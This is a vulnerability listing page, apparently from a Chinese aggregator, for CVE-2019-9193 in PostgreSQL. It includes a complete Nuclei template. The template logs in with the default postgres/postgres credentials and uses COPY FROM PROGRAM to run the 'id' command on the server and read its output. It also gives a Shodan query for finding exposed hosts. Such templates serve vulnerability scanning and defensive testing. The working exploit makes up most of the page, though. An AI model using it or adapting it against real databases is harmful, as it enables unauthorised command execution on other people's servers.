CVE-2019-9193: PostgreSQL 9.3-12.3 Authenticated Remote Code Execution

日期: 2025-08-01 | 影响软件: PostgreSQL | POC: 已公开

漏洞描述

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.

PoC代码[已公开]

id: CVE-2019-9193

info:
  name: PostgreSQL 9.3-12.3 Authenticated Remote Code Execution
  author: pussycat0x
  severity: high
  description: |
    In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193
  metadata:
    verified: true
    max-request: 1
    shodan-query: "product:\"PostgreSQL\""
  classification:
    epss-score: 0.93587
    epss-percentile: 0.99831
  tags: cve,cve2018,js,network,postgresql,intrusive


javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const postgres = require('nuclei/postgres');
      const client = new postgres.PGClient;
      const tbl = tbl_exec
      const qry = ["CREATE TABLE "+tbl+"(cmd_output text);", "COPY "+tbl + " FROM PROGRAM 'id';", "SELECT * FROM "+ tbl+";", "DROP TABLE IF EXISTS " +tbl+";",];
      for (const x of qry){
        connected =  client.ExecuteQuery(Host, Port, User, Pass, Db, x);
        Export(connected);
      }

    args:
      Host: "{{Host}}"
      Port: 5432
      User: "{{usernames}}"
      Pass: "{{password}}"
      Db: "{{database}}"
      tbl_exec: "{{randbase(5)}}"

    payloads:
      usernames:
        - postgres
      database:
        - postgres
      password:
        - postgres

    attack: clusterbomb

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

      - type: word
        words:
          - "cmd_output"
# digest: 4a0a00473045022100898ab9bd86e9fdd5af099641a7599009617c2b1d2fe6a893a7429b526385a3d702202be6cc52178c53083f34709f7ccab38efa1a6151811b7fc22dff7868c49bd90d:922c64590222798bb761d5b6d8e72950

相关漏洞推荐